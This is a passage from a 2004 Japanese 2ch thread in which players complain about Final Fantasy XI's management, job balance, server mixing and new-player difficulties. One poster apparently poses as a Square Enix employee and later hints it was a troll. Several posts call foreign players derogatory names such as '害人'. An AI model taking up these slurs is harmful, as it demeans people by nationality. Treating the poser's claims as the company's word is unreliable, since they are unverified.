つまり、FF11とPS3で出るネットゲームをよろしく

って事なら無理
誰も期待してない
まともな運営が出来るようになって言ってくれ

768 :■社員:04/12/06 21:11:15 ID:1zhEKVbI
>>765
そのような書き込みになってしまうのも当社の努力がないからだと思います。
私1人が謝ったところでどうにかなるわけでもありませんが、
誠に申し訳ないと思います。


769 :既にその名前は使われています:04/12/06 21:11:48 ID:fZQ+Mknv
>>765
昨日の夜中にPOPした変な煽ラーが手を変えて再登場って感じがする

770 :■社員:04/12/06 21:14:44 ID:1zhEKVbI
>>739
2chを個人的に見ている人はいますが、
会社として2chを参考にしろと言ったものはありません。

>>767
質問に回答していくようにしていくと何が言いたいのかわからなくなってますね。
私は自分の知ってる限りで皆様の疑問などに少しでも力になれたらと思っております。

ユーザーの方にもっと近い位置で運営するには
■は大きすぎたのかも知れませんね・・・

771 :既にその名前は使われています:04/12/06 21:18:49 ID:UQrrf2UN
大きすぎたのかも じゃねえだろw

772 :■社員:04/12/06 21:20:08 ID:1zhEKVbI
ここまで当社がやってこれたのは、お客様がいてくれたからだと思っております。
色々な不満、あるかもしれません。それを受け止めて
よりよい、皆様に楽しんでいただけるゲーム作り
エンターテイメントを作り出せるように頑張っていきたいと思います。
今日は失礼致します。
厳しいご意見を2chでよく見かけますが、
私の出来る限り、伝えていきますので
これからも宜しくお願いします。

773 :既にその名前は使われています:04/12/06 21:23:18 ID:m2ruMD9j
2chを参考にしてないという割には、ムバ水とか不利になるような事晒されると、超高速で修正されてますよね。

774 :既にその名前は使われています:04/12/06 21:23:58 ID:TEZb/0K1
>>■社員
ん〜じゃあさ、
ドラクエの話は分かったから、
かれこれ1年以上締め付け延命バグ直しばかりでジラート以降まともなVUが無いのは何故?

あと、ゲームの中の話になるけど、
限界クエストが依然残ったままになってるのは何故?
なんの意味があるの?あれ

775 :既にその名前は使われています:04/12/06 21:22:52 ID:fZQ+Mknv
>よりよい、皆様に楽しんでいただけるゲーム作り
>エンターテイメントを作り出せるように頑張っていきたいと思います。

これ、スクエニが本当に考えてるんだとしたらもう手遅れだなぁ


776 :既にその名前は使われています:04/12/06 21:26:59 ID:ZWCdBmjw
ぽまえら釣られてるのか、釣られてやっるてるのかハッキリしなさい(;´д`)

777 :既にその名前は使われています:04/12/06 21:27:14 ID:R0mN8ouo
>>773
2ch・シタラバ参考にしないとバグ取り・調整もろくに出来ません。
人参絞りとか、水とかアボガドバナナかと。

こんなもん、上の意向に逆らえない以前の問題。
ただのサボタージュ。

778 :既にその名前は使われています:04/12/06 21:28:31 ID:UQrrf2UN
ま、逃げ口上ほざいたから二度と来ないだろう。
内心ばれそうになって逃げ出したくてたまらなかっただろうからなw

779 :■社員:04/12/06 21:31:34 ID:1zhEKVbI
>>778
まだいますよ

780 :既にその名前は使われています:04/12/06 21:32:26 ID:TEZb/0K1
>>776
うーん
正体不明の■社員を通じて、間違いなくここを見てるだろう本物の■社員へ投げかけるメッセージみたいな?

や、ようわからんがw
オレも仕事終わったし帰るさー

781 :既にその名前は使われています:04/12/06 21:33:14 ID:oItnycgO
>>779
もう消えていいよw

782 :既にその名前は使われています:04/12/06 21:37:24 ID:5hNzw6nq
>>779
ところでさジョブバランスはもう少しどうにかならんのか?
弱体放置bPの戦士や30以降まともなアビがない侍にネタ扱いにされてる竜騎士とかいるけどこういうジョブには
なんらかの飴要素はこないのですか?

783 :既にその名前は使われています:04/12/06 22:00:42 ID:4RpG2VTK
>>779 どの面下げて社員名乗れるんだか。。
ふざけんなタコスケ。
金返せ

784 :既にその名前は使われています:04/12/06 22:02:36 ID:0TtBF9fF
ちょっと■社員のふりして書き込みしてるとリアル消防厨房が
糞にたかる蝿のように群がってくるな

785 :既にその名前は使われています:04/12/06 22:03:04 ID:UQrrf2UN
いますよ だけか!

786 :既にその名前は使われています:04/12/06 22:16:50 ID:THHgo81t
>>779
本物かねただか判らんけど、
楽しかったぞ。
ぜひ、また光臨してくてい。

787 :既にその名前は使われています:04/12/06 22:18:24 ID:y6qW8exh
まあファミ痛のインタビューで海外の掲示板見てるっつってたからな。
それなら日本のを見てない訳がない

788 :既にその名前は使われています:04/12/06 22:19:52 ID:F4rkqTKU
>>619

こんなのでますな。
http://www.watch.impress.co.jp/game/docs/20041206/belle.htm


789 :既にその名前は使われています:04/12/06 22:38:10 ID:Q3h9x+Ht
>>294

詩のサチコメ:@3000
        揃ったらリーダー渡してくれる人優先します。
        よろしく 

790 :既にその名前は使われています:04/12/06 22:38:43 ID:My9aViL9
プロマシアのオールインパック買ったんですが
黒樽でプレイ開始。
ソロで上げ今レベル11なんですが
シャクラミでパーティーでミミズ狩ろうとしてエリアサーチしても20人程度しかいなく
しかも日本人は2人くらい・・・
玉を出して2時間待つも反応なし、片言の英語で外人に入れてもらおうと試みるも
すべて6人編成済みで拒絶;;
どうしろと?新参の日本人には限りなくプレイしにくい。
ffはもう終焉だとよく言われてるけどココマデヒドイトハオモワナカッタ・・・

791 :既にその名前は使われています:04/12/06 22:46:44 ID:RtRBBygh
>>790
解約汁

792 :既にその名前は使われています:04/12/06 22:50:55 ID:My9aViL9
たった5日で解約><
しどいよ
なんとか解決策おしえてよ

793 :既にその名前は使われています:04/12/06 22:52:16 ID:hUnMkH2M
>>790
ぶっちゃけ、サポなし黒なら誘いにくい。
白に転職→サポとったら黒に戻るのがいいかと

794 :既にその名前は使われています:04/12/06 22:52:39 ID:v0h0EVa8
船のってセルビナ行け
初期からの習性なのかもしれんがJPはやっぱり砂丘、セルビナが基本
サチコメに「日本人です」って書いとけばナントカなる

795 :既にその名前は使われています:04/12/06 22:54:23 ID:LDo26RW8
社員、また来いよ。俺はあんたのカキコ、面白かった。

FFを立て直すのであれば、損益分岐ラインを越える前だったな。
損益分岐ラインはとっくに通過したからね。

俺たちの■eへの信心がそうさせちまった……。


796 :既にその名前は使われています:04/12/06 22:57:05 ID:UQrrf2UN
>>792
なんか可愛いw

797 :既にその名前は使われています:04/12/06 22:57:51 ID:CCzB/Fnz
>>792
解決策がないからみんな文句言ってるんだよ

798 :既にその名前は使われています:04/12/06 22:58:05 ID:My9aViL9
>>793
サポつけるまで上げられないのが問題なのでつ;;
>>794
セル雛までいけるかな、ゴブ避けまくって無事マウラに到着できるか不安。

799 :既にその名前は使われています:04/12/06 23:01:09 ID:/bwZPgdj
今は下手するとlv30前半までサポ無しソロで上げないといけなくなるからなぁ。
しかも、鯖によっては、うっかりブブリムのクエオファーしてしまおうもんなら、乱獲中華を相手にしなくちゃいけなくなるという・・・。

800 :既にその名前は使われています:04/12/06 23:01:45 ID:rY/BBV9t
>>790
ウィンでLSもらうしかないですよねぇ・・
誰かが倉庫で付き合ってくれるかも。暇で親切な主婦タルLS多いし。
ジラートまではタロで作ってシャクとかブブいけたんですがねぇ・・まぁ外人多かったけどw
鬼のようですがどうせ必要になるので他ジョブ全部ソロで上げられるだけあげちゃうのもいいかも。
どうせ食事するから調理、調理と相性いい釣りとかやるのもいいかも。
どうせお金稼ぎするんだし採掘やってみるのもいいかも。採掘と相性いい骨もいいかも。
タルでも低レベルは格闘強いからソロモンク>ソロ格闘シーフで盗みまくりもいいかも。

書いてるとやっぱり今のFFはMMOじゃないよなぁ・・って思った。


801 :既にその名前は使われています:04/12/06 23:02:37 ID:eFGx0nFN
>>798
いや、最初に黒じゃなくて白を上げろってことだ。
鯖どこだ?同じなら遊んでやろう。

802 :既にその名前は使われています:04/12/06 23:03:35 ID:fAJcziNg
>>792
スレ違い質問板に逝け・・・
まぁとりあえず>>794の言うようにとりあえずセルビナいってみろ
それでも駄目ならオイルパウダー買ってジュノ行ってみろ
日本人はジュノに固まってるからな
うまくshoutすれば6人ぐらいすぐ集まるぞ
経験なければ難しいかもしれんがな

>>793
サポなしだと白上げるのは大変だ
低Lvならサポなしでも黒はかなりのアタッカーになれるぞ
黒が微妙なのは40-50代ぐらいだな

>>798
ネタだろうが妙に詳しい香具師だな
パウダー勝手池w

803 :既にその名前は使われています:04/12/06 23:04:35 ID:Xv/Psy7P
続けるよりやめたほうが
ためになるとおもうよ

804 :既にその名前は使われています:04/12/06 23:05:12 ID:My9aViL9
>>800
サンクス。
なんか、限りなくオフゲーに近い感じがしていますた。
やはりこの手のゲームは旬のときにやらなきゃ駄目なんですね・・・・orz

805 :既にその名前は使われています:04/12/06 23:05:59 ID:RtRBBygh
>>790
やっぱり砂丘に向かうしかないなあ。ブブリムは過疎すぎてPTなんて組めないですよ。


806 :既にその名前は使われています:04/12/06 23:06:17 ID:fAJcziNg
>>803
それを言ったらほとんどのゲームがそうだろうな
3ヶ月限定ならFFもそんなに悪いMMOではないと思うぞ
その先は保証できんがなw

807 :既にその名前は使われています:04/12/06 23:10:53 ID:fAJcziNg
>>805
シャクラミのミミズはうまいんだが
今はコロロカもあるし
セルビナの方がサポ取り易いのもあって
セルビナに集まりやすいわな

808 :既にその名前は使われています:04/12/06 23:15:36 ID:hs0a4IRE
■e<果物は腐りかけが一番おいしいんですよw

809 :既にその名前は使われています:04/12/06 23:16:21 ID:My9aViL9
>>802
これがネタじゃないのよ><
以前1年半前にやってて黒メイン白サポでメインレベル30まで上げて遊んでたのさ
ところが、忙しくて支払い忘れてたらキャラ消されちゃって;;
で心機一転カード払いに変えて新しく始めたのさ、pc版に変えたので
オールインパックを買ったの。
ところがあなた1年半前に比べて言葉の通じない人だらけ、
日本人に出会うと嬉しくなっちゃうこの感覚。
本当に日本製MMOかと、私は言いたい。

810 :既にその名前は使われています:04/12/06 23:16:29 ID:rY/BBV9t
>>804
レベル50キャップのときはさぽレベル25にしなきゃならなかったから、3国周りはさぽ上げ連中がいっぱいでしたねぇ。
キャップが上がるにつれさぽ上げもジュノ周辺になっちゃったんですよ。
新規顧客と既存顧客でpt組ませるには若干ジョブ役割かぶっても新ジョブ追加しなきゃならいのは当然なんですよね。
まぁ百歩譲って特定の人気薄ジョブのてこ入れとか。
当然やるだろうとみんな思ってたんですよ・・・そう・・発売されるその日まで(号泣


811 :既にその名前は使われています:04/12/06 23:16:31 ID:m2ruMD9j
●<この果物完全に腐ってるじゃないの!?

812 :既にその名前は使われています:04/12/06 23:22:31 ID:FiyDEHcb
【わかりやすいネトゲの仕組み】
第一回・ここがダメだよFF11

要はチェーンメールみたいなもんだ。
新しいカモをどんどん連れてこなければ、廃れる。
何故なら新規購入者がすぐに去ってしまうからだ。

他のゲームの場合はともかく、FFには【ジョブチェンジ】がある。
よって、別キャラを作らずとも新規プレイヤーと熟練プレイヤーが組める。
しかし、NAとの軋轢が、低レベルをPLでしのぐ風潮を生み出してしまった。
それ以前はジョブチェンジが有効に機能していたのは間違いないんだが。

そしてもう一点。倉庫容量のきつい制限。
これのせいで着替えを楽しむ事はおろか、
複数ジョブのアーティファクトですら保管しにくい状況を生み出している。
合成など論外。師範になれば倉庫10キャラなんて猛者もザラにいるはず。

813 :既にその名前は使われています:04/12/06 23:23:40 ID:h/SJzaa7
腐臭ガスで他の果実まで腐らせとるがね

814 :既にその名前は使われています:04/12/06 23:29:52 ID:CCzB/Fnz
>>811
■<まだ食べれるよ。あっちの果物よりはマシだし

815 :既にその名前は使われています:04/12/06 23:32:23 ID:FiyDEHcb
つまり、

NA参入
 ↓
組んで嫌な思いする
 ↓
避ける(ジョブチェンジしなくなる・低LVをソロorPLで駆け抜ける)
 ↓
低レベル人口減少
 ↓
新規的につまらない
 ↓
新陳代謝が激しく鈍化 疲れた空気が蔓延 ←今このへん
 ↓
堰を切ったように解約ラッシュ
 ↓
廃人天国が残る(運営的にはしばらく黒でいけるだろ)

816 :既にその名前は使われています:04/12/06 23:36:17 ID:UQrrf2UN
そういえば、外人来てからここ1年間、
50以下のレベル上げしたことないな。
外人と組むのは死んでもゴメンだからなw

817 :既にその名前は使われています:04/12/06 23:41:20 ID:UQrrf2UN
あ、サポを37にするのに組んだことはあるか。
あのときは、外人はまだクフィムレベルだったから助かってたんだな・・・・

にしても、外人も日本の先行者に食いつぶされた土地に
ほっぽりだされて気の毒だな。

818 :既にその名前は使われています:04/12/06 23:45:00 ID:jOntVL0Z
>>806
漏れ中途半端な時期に始めたんだけど、サンドリアでNPCと会話してたら
懐かしいオフゲの世界に戻ったような気がして楽しかった。
MMO?そういう面白さとは別物だったよw

819 :既にその名前は使われています:04/12/06 23:49:28 ID:FiyDEHcb
>>817
そそ。NA視点で見れば

新作なのに情報漏れまくってるよ…萎え
 ↓
とりあえず適当にやるが、思うようにLV上がらない(連携使用を基準にしてるから)
 ↓
日本人と組む
 ↓
こいつらSugeeeeeee(何度も言うが、日本人を基準にしてるので当然)
 ↓
また組みたがるが、邪険にされる(山串食わないし変な装備だしスキル上げ始めるしな)
 ↓
マンドクセ(外人の一般ピーポーは引退)
 ↓
廃は日本人ぽい立ち回りを真似る事に
 ↓
これはMMOなの?←今この辺
 ↓
大量に引退

820 :既にその名前は使われています:04/12/06 23:50:08 ID:cEmZYBFV
最近、忍者のサポ上げのために低レベルやったが
とにかく外人、特に低レベル外人は話がまったく通じないことが多い。
故にさっさと、とにかくさっさと低レベル帯を駆け抜けたくなる。
だから、高レベル帯よりも気持ちに余裕がない。
新人の冒険につきあう余裕もない。
変に色々試してないで、こっちの言う事聞け、と。

まぁ、そんなんじゃ新人育たないし、ゲームの楽しみ方として間違ってることは
否定しないけど、だからといって、こっちが胃の痛むような思いもしたくないし。

821 :既にその名前は使われています:04/12/06 23:55:40 ID:UQrrf2UN
現状、混合鯖にしたことによって生じたメリットデメリットだが、
明らかに デメリット > メリット に思えるのだが。
■の悪いところは、自分たちのミスを認めないところと、
ユーザーに対して、敵意を持っていること。

822 :既にその名前は使われています:04/12/07 00:00:03 ID:pKtT/XQG
■社員がまた光臨してるな。 >>792のような社員がネ実を盛り上げてくれる。まだだ、まだネ実はおわらんよ。

823 :既にその名前は使われています:04/12/07 00:19:32 ID:rB0JHi33
>>821
混合鯖は鯖リソースの有効活用の壮大な実験だから■e側にはメリットしかない。
のでミスだなんて、これっぽっちも思ってない。(と思われる。)

ユーザーにとってはデメリットばっかりだったがね。
鯖リソースの有効活用により低減された経費などの還元は社員にのみ
行われてる。(ように思えてならない)

■e側はユーザーを家畜の豚くらいにしか思ってないし
ユーザー側も開発を能無しの豚くらいにしか思ってない。

これで良いMMOになるわけが無い。

824 :既にその名前は使われています:04/12/07 00:38:05 ID:hOxKdHpL
>>820
冒険するメリットがまるでないゲームだからね・・・。
デメリット多すぎて、保守的にならざるを得ない。

825 :既にその名前は使われています:04/12/07 01:15:33 ID:6/sAwiEg
■はどこまでも罪深い


826 :既にその名前は使われています:04/12/07 01:18:46 ID:QQYu94hz
ttp://sylphys.ddo.jp/upld2nd/game/img-box/img20041206062200.jpg
こういうニートたちも癌なわけだが

827 :既にその名前は使われています:04/12/07 02:38:33 ID:6Ur/gLIr
●無駄エリア大杉です>■バリスタ実装で回避した。
●合成が死んでる>■生産品クエと特殊合成で回避した。
●特定ジョブが有利すぎ>■空蝉弱体で回避した。
●パーティーなかなか組めない>■おまかせパーティー機能で回避した。
●カンストしたのでマッタリと楽しみたいです>■メリポ追加しまくったので回避した。
●外人がキティガイtellしてきた>■ブラックリストで回避した。
●外人がキティガイshout連呼してるぞ>■チャットフィルターで回避した。
●外人とパーティー組みたくないんだけど>■好評でとてもうれしいので回避した。
●プロマシアミッションが特定ジョブ以外不要なんですが>■テストではそんな筈はないので回避した。
■ミッション難易度を緩和した>●裏パッチでボス鬼強にしたツケですか?>■そんな事実はないので回避した。
●ログイン者数減りまくってます>■ドラゴンクエスト8もFF同様好評でとてもうれしいので回避した。

828 :既にその名前は使われています:04/12/07 02:45:54 ID:DOsbZVFr
その内ムカつきの限界を超えたゲーム膿野郎が■eになんかしたりしないのかな?
なんかそれが心配、、、
さすがにゲームでそこまで無いかw

829 :既にその名前は使われています:04/12/07 03:10:08 ID:kkyu1BPr
ジョブスレの竜騎士スレに一時期現れてた開発君と書き方一緒だなぁ。
冗談も程ほどにしとこうね。

830 :既にその名前は使われています:04/12/07 03:14:56 ID:EydmGEc8
後釣り宣言はしない主義なんだ、すまんね

831 :既にその名前は使われています:04/12/07 03:21:17 ID:0ftK1r5L
LV10〜20はマジ地獄だよな。
新規組は特に。
LV差は3もあるとまともにPT組めないし
そもそも人がいないしな。

町から外に出ても外人ばっか、下手すりゃ
PLばっかじゃ新規組もやる気なくすよなあ。

832 :既にその名前は使われています:04/12/07 03:45:37 ID:W1lEbq3A
lv40〜60も結構きついです。
今始めた人が40代になる頃にはさらに悪化してるでしょう。
現状を楽しめる人しか残れないでしょうね。

833 :既にその名前は使われています:04/12/07 07:15:38 ID:aQULbm35
>>802
サポ無し白大変?釣りなら釣りと(ry

>>809
なんでウィンから始めたのよ?
1年半前ならジラート出た頃だろ?当時既にブブリム過疎だったじゃん
それ知っててわざわざウィンから始めるか?
釣りなら釣りと(ry

834 :既にその名前は使われています:04/12/07 09:14:02 ID:D8eILsIi
agr

835 :既にその名前は使われています:04/12/07 09:16:45 ID:rZavhDzS
>>833
白11ならケアル2使えるし、無駄に役立たずなサポ無し黒11よりは誘われるんじゃね-の?
それにブブリムは正直、美味かったし、その後シャクラミ→マウラ前ってのは定番じゃん。
それとも、この考え古いかな?wコロロカも美味いし・・・・。

836 :既にその名前は使われています:04/12/07 09:17:03 ID:EZIKwBi5
>>832
俺も45で止まってたジョブ上げようとしてるんだが、
マジ、ピークタイム逃すと組めない感じ。
下手すりゃ、ピークタイムでも平日だと人いなかったり……。
40代、激ヤバ!


837 :既にその名前は使われています:04/12/07 09:20:17 ID:5rkt5h7h
獣が増えるわけだな

838 :既にその名前は使われています:04/12/07 09:26:01 ID:D8eILsIi
月曜になると異常な量のクソスレが立つんだけど社員工作必死だな。

●<■が失敗は失敗として認めないとして認めないのは想定外
■<ユーザーがパッチになれていない
●<サービス開始から2年半以上たっていまだにその発言は想定外
■<NA,EUを既存鯖にぶち込んで新人を強制的につくることでその問題は回避した。
●<え!?

839 :既にその名前は使われています:04/12/07 09:28:37 ID:UZ+trpem
>>835
ブブ>シャク>マウラ前ってのは、低レベル帯にある程度の人数が
居た頃、ジラ出てしばらくの間までなら定番だったが、人数の減少と
コルシュシュ獣人勢力強化パッチのあとは一気に過疎化が進んだ。
あのパッチ、コンクェ集計結果発表からたったの10分程度で
サンド ■
ウィン ■
バス
獣人  ■■■■■■■■■■■■■■■■■■■
なんて感じだったから。クリスタルも出ないところでわざわざ狩らなく
ても他に狩り場あるしってことになったのは仕方が無い。
LS内で人数集めて狩場独占、サポ上げウマーはあるけど
野良で人集めてまでコルシュシュでレベル上げする理由がないよ。

>>836
Lv50で放置してたジョブを上げてみようかと、先週毎日9時頃48-52を
サーチしてたが、盾もヒーラーも居なくてレベル上げ一度も出来なかった。

840 :既にその名前は使われています:04/12/07 09:31:12 ID:Zm+ccACk
黒なんぞサポ無しでも精霊撃ちまくりでok
むしろケアルなんてすんなよwPTでもソロでもね。

サポなし白が大変という奴はlvl8-10くらいのソロ話だろ。
攻撃がウンコで、いつまでも敵を倒せない。
mobの攻撃→shiromaに28ダメージ。
shiromaのケアルが発動→shiromaのHPが28回復。
mobの攻撃→shiromaに26ダメージ。
shiromaの攻撃→mobに15ダメージ。
mobの攻撃→shiromaに25ダメージ。
shiromaのケアルが発動→shiromaのHPが30回復。
・・・
shiromaはmobに倒された……

白なんてケアルII覚えて無くてもいいからすぐにPT組め。
レベル8あたりからの少人数PTもいい。そのほうが稼げる。

841 :既にその名前は使われています:04/12/07 09:32:29 ID:rEG9n1uy
しかし、まだ二年しかたっていないMMOとは思えない末期っぷりだな。

あらゆる意味で黒で儲かってるはずなのに、「そろそろやめるっす」と
いつ張り紙でてもおかしくない閉鎖寸前MMOと同じ臭いするのはなんで?

842 :既にその名前は使われています:04/12/07 09:35:37 ID:rZavhDzS
>>339
漏れはウィンコースが初体験だったから、
なんか刷り込まれてるw
Kujataだったけど、何度このコース通ったかな・・・

843 :既にその名前は使われています:04/12/07 09:38:00 ID:YY2zVdad
てか、ウィン以外から始めるやつが信じられないな。

844 :既にその名前は使われています:04/12/07 09:47:03 ID:58caEnoW
今年の1月頃からウィンで始めたけど、10位には船乗ってサンドまで行ってラテでレベル上げしてました。
地理的に便利だし、オーク火クリ落としたから。

845 :既にその名前は使われています:04/12/07 09:52:46 ID:W1lEbq3A
>>841
閉鎖寸前のMMOとFF11の共通点は、「もう先がない」

846 :既にその名前は使われています:04/12/07 09:57:29 ID:yLVAtqFg
1stジョブはウィン、でもその後はずっとバス。
もうね、ミミズファンタジー。

847 :既にその名前は使われています:04/12/07 09:59:06 ID:5rkt5h7h
ベタなファンタジーが好きなもんでやっぱサンドから始めてしまう
ヤグや亀よりはオーク

848 :既にその名前は使われています:04/12/07 11:58:18 ID:YHFlWx+m
あげておく

849 :既にその名前は使われています:04/12/07 12:00:08 ID:rZavhDzS
上がってね〜

850 :既にその名前は使われています:04/12/07 12:04:21 ID:FTna1yaA
ライブカムでオークがつっこんでくるロンフォに萌えたんだよ
ゆびくわー

851 :既にその名前は使われています:04/12/07 12:06:07 ID:e7oT8Y58
>>841 PS2の限界

つか、新規ユーザーが取れないのも原因だと思うよ
HDDのハードル以前に、新ゲームで溢れるPS2で2年前のゲームを売るのは辛い
PCゲーマーは絶対数が少ないし、FF以外の選択肢だってあるしな



852 :既にその名前は使われています:04/12/07 12:10:56 ID:UZ+trpem
もしも、PS2BBが「普通のPS2」で、HDD内蔵してなくてネットにも繋がらない
PS2が存在しなければ、話は違ってくるんだろうなあ

853 :既にその名前は使われています:04/12/07 12:13:56 ID:HcZGlJs6
>>852
かなり違うね。
ただ、FF以外にもいっぱいこういうソフトでて、乱立モードになってたかもな。初期に。

854 :既にその名前は使われています:04/12/07 12:20:08 ID:I+lpXaEc
PS2どうこうは関係ないと思うよ
むしろPS2含めたからこそのユーザー数だと思うし

やはり問題は、開発陣の怠慢、いや違うな…傲慢というべきか
基本パッケージが2年前だろうと、追加パッチ出せるのがオンラインの強みのはず
それの方向性が悉く狂ってるのが一番の原因、迷走というしかない
目に見える部分のみをいじるのが、バージョンアップじゃないしね
プレイアビリティの改善や、バランス取り、既存ソース使ってのイベント等など
できる事はやまほどあるはず。グラいじるしか思いつかない開発が糞なだけ
「PS2の性能のせいで限界なんです…;」なんてのは言い訳にもならないと思うよ

855 :既にその名前は使われています:04/12/07 12:28:41 ID:UZ+trpem
>>854
散々語り尽くされて、もう噛んでも味すらしないような話題だw

■の基本方針として、今後数年間、出来る限り多くのユーザーから金を取る。
っていうのがあるわけだよ。飽きられても呆れられても何でもいいから、
とにかく課金収入を確保するってことね。
そのために視覚が考えた方法が、ユーザーを痛めつけて、不満を募らせた
状態にし、いつかは変わるかもしれないという期待感だけで繋ぎとめる作戦w
PS2の性能とか、そういうのは関係ない。それは間違いない。

856 :既にその名前は使われています:04/12/07 12:32:22 ID:uYlqvzdp
グラが綺麗なだけで満足する奴もいっぱいいるしなw

857 :既にその名前は使われています:04/12/07 12:38:03 ID:baPZYhmU
まあ、飽きてもキャラ削除できないなら、とりあえず、解約して
課金だけ停止するのがいいだろうね。で、まだやるつもりなら、
3ヶ月目に再契約でキャラ保持。これで通常の支払いの1/2になるでしょう。

■もなまじ収益があるから、勘違いしてるんだろう。
ログインもほとんどしないくらいになったのなら、
解約しとくのがいいと思う。

858 :既にその名前は使われています:04/12/07 12:40:26 ID:2ro3sCTL
だいぶ前にJPユーザー数のピークは終えてて、今は減少の一途。
まあPS市場じゃ古いゲームな扱いだろうが、同じPS市場の信長は微増続きだよな?

手抜きかそうじゃないかの違いは案外ちゃんと表れるものだね。

859 :既にその名前は使われています:04/12/07 12:42:41 ID:UZ+trpem
そうだな、信長がんばれって感じだ。
俺にとっては信長は先祖の仇だがw

860 :既にその名前は使われています:04/12/07 12:44:09 ID:mi63+IEj
和田シャッチョはそういう数字の表れも統計のウソで固めるのかな?

861 :既にその名前は使われています:04/12/07 12:45:45 ID:e7oT8Y58
>>854
いあ、そういう事だけじゃなくてね、
発売後2週間で販売収束しちゃう様なコンシューマー市場(もち例外あり)で、長期販売する事自体が辛い
例えば、2年経った今、ファミ通に毎週 FF11の広告だすだけでも、どんだけ効率悪いか想像できるでしょ
広告できる場すら限られてるんだよ(しかも HDDの問題あるしな)


それから、戦闘バランスを一新しろ。みたいな話も無理だから。
正直、微妙アビなんか追加されたって、戦闘かわらねーよ?

金を投資しても、収益に結びつかない。これが放置の理由だな


862 :既にその名前は使われています:04/12/07 12:51:22 ID:Nug6hXg3
>>861
覚悟がねぇーならやるなと暑い夏の日に言われるわけだ納得。

あと、一新してもどーにもならなく二年間かけてしていっただけの話だし。

863 :既にその名前は使われています:04/12/07 12:52:30 ID:e7oT8Y58
あと、あれだな、PS3が発売されれば、ゲーマーも大移動するしね
PS3が本格的に立ち上がるのは更に先っていっても、FF11も すぐサービス終了できるわけじゃないし

そろそろ着陸姿勢にはいって、2年位かけてサービス終了って事なんだろ


864 :既にその名前は使われています:04/12/07 12:57:39 ID:3p+f74X6
5年以上はもたせないとネトゲーとしては失敗作とだけ言っておこう。
まあ、暗黙の了解みたいなもんだ。

865 :既にその名前は使われています:04/12/07 13:02:26 ID:bXAfRWaW
■eが仮にそう考えてるとすると、とんだ言い訳小僧会社だな。
ユーザーをかき集めるだけ、あつめて中途半端で投げ出す姿勢だもんな。

ユーザーが集まらなくて糸冬するよりもはるかにタチが悪い。
こりゃほんと暑い夏の一日はマジ話だったのではないかと思えてくる。
というか、ほんと懐に受け止めるだけの覚悟なんて微塵にもないわな。

866 :既にその名前は使われています:04/12/07 13:04:27 ID:u6xxyW02
[+]<PS3版FF11を出すことによってユーザー離れの問題を回避した

867 :既にその名前は使われています:04/12/07 13:15:16 ID:UyX8SuNv
キャラデータって■eが管理してる鯖にあるんだよね?
って事はさ、PS3でFF出すとして、そっちで今のキャラ動かせるように出来んのかな?
PS3にFFインストールしてキャラ動かせる環境を整えてやれば出来るんじゃない?って素人は思うんだけど
俺はそういうのよく分からないんだけど、識者の意見をぜひ。

868 :既にその名前は使われています:04/12/07 13:18:41 ID:f9tvWShW
砂丘で害人のPT入ると必ず必死な脳筋前衛が
ショポ装備でレベル一桁だったりする。もうこれは馬鹿だから仕方ない
俺らも発売当初は似たものだったよ。
でもねー、何度も何度も何度も何度も死ぬワケよ。害人が。
初期装備で挑発するなって言ってもいいけど、初心者にいきなり、
〜するなっていわなきゃならないゲームってどうなのかと。
そのくせトテトテplzは口癖。どんな奴でも必ず言う。
そろそろ低レベルでの取得経験値とレベル補正を緩和しろと
こんなんじゃレベル上げできないよ。

869 :既にその名前は使われています:04/12/07 13:22:51 ID:4DlVSp0z
まずはPS3がHDにを搭載、もしくは対応するかという問題がある。


870 :既にその名前は使われています:04/12/07 13:24:35 ID:G/WSUCXA
>>867
あのさー。仮に新FFにデータ引き継ぎできたとして、
レベルカンスト&スキルカンスト&成金状態のキャラでスタートして面白いと思うか?

871 :既にその名前は使われています:04/12/07 13:26:48 ID:4DlVSp0z
>>870
えーと、それはFF13ということでよろしいか?

872 :既にその名前は使われています:04/12/07 13:28:35 ID:A3M7QcGn
EQ2はどうなのよ?

873 :既にその名前は使われています:04/12/07 13:30:21 ID:FeMrnMHi
>>870
また一から同じ事するのか?www

874 :既にその名前は使われています:04/12/07 13:33:10 ID:+B08YtGu
PsユーザーがPCでゲストログインできるしソレは問題ない
ただPs3はHDD対応しないんじゃなかったか?
となると、
ル・ルデ→上層の移動に現在のデータロード時間+ディスク読み込み時間がかかり
テリガンOP飛べば今なんか比べ物にならん高確率で死体
さらにHP戻り選択でまたディスク読m…
戦闘中に装備変更マクロ使おうものならその場で
ディスク読み込み完了まで硬直。
呼び出しペットは全部兔に統一
といった素敵な世界になる予感



875 :既にその名前は使われています:04/12/07 13:33:55 ID:G/WSUCXA
>>871
へ? PS3上でわざわざ11なんか出すだすわけ無いだろうから開発するのは13だとだと
思ってたんだが、違うのか?

>>873
俺は絶対やらん。

876 :既にその名前は使われています:04/12/07 13:34:52 ID:rAliueRB
>>864
まあ、現状だとFFは失敗作だったと言われるのは時間の問題だけどね。

877 :既にその名前は使われています:04/12/07 13:35:59 ID:4DlVSp0z
どちらにしてもFFのネトゲーはオフゲーももうオコトワリだ

878 :既にその名前は使われています:04/12/07 13:42:21 ID:+B08YtGu
あとアレだ、
ジュノから空いくとすると、
ジュノ港→ディスク4:アラゴーニュリージョンのディスクに交換してください
ソロムグ→メリファト→ディスク12:リ・テロアリージョンのディスクを挿入してください
ジ・タ→ロ・メーヴ→ディスク13:トゥーリアリージョンのディスクをそうに…


うはwww

879 :既にその名前は使われています:04/12/07 13:44:14 ID:v8+nfuqx
NOW LOADING・・・

880 :既にその名前は使われています:04/12/07 13:48:26 ID:A3M7QcGn
青DVDが出ればHDDなくても全て解決じゃない?


881 :既にその名前は使われています:04/12/07 13:49:01 ID:WGvNX3Df
>>878
CD-ROMじゃないんだから、おまえ頭おかしいんじゃないの?
しんでいいよ

882 :既にその名前は使われています:04/12/07 13:51:57 ID:7NTkJE5x
ふーんパッチどうすんの

883 :既にその名前は使われています:04/12/07 13:55:58 ID:mbj5Bxbn
>>882
半年に一度バージョンアップしますのでご安心を
FF11-PS3→FF11-PS3-2→FF11-PS3-3…
信者の皆さん買ってくださいねwww

884 :既にその名前は使われています:04/12/07 13:56:50 ID:rAcGFZ/P
ロード時間で敵の種類とか、箱のアイテムがなにか予想が着く…



885 :既にその名前は使われています:04/12/07 13:57:24 ID:EydmGEc8
>>881
とは言え、メインデータが膨大な量だから
地域用のデータは少ししか入らなくて似た感じになるんじゃないか?

886 :既にその名前は使われています:04/12/07 14:00:48 ID:+B08YtGu
パッチはすべてメモリーカードになるかな
ディスクに素材だけをたんまり盛り込んで
ソレの組み合わせ方をメモカに記録
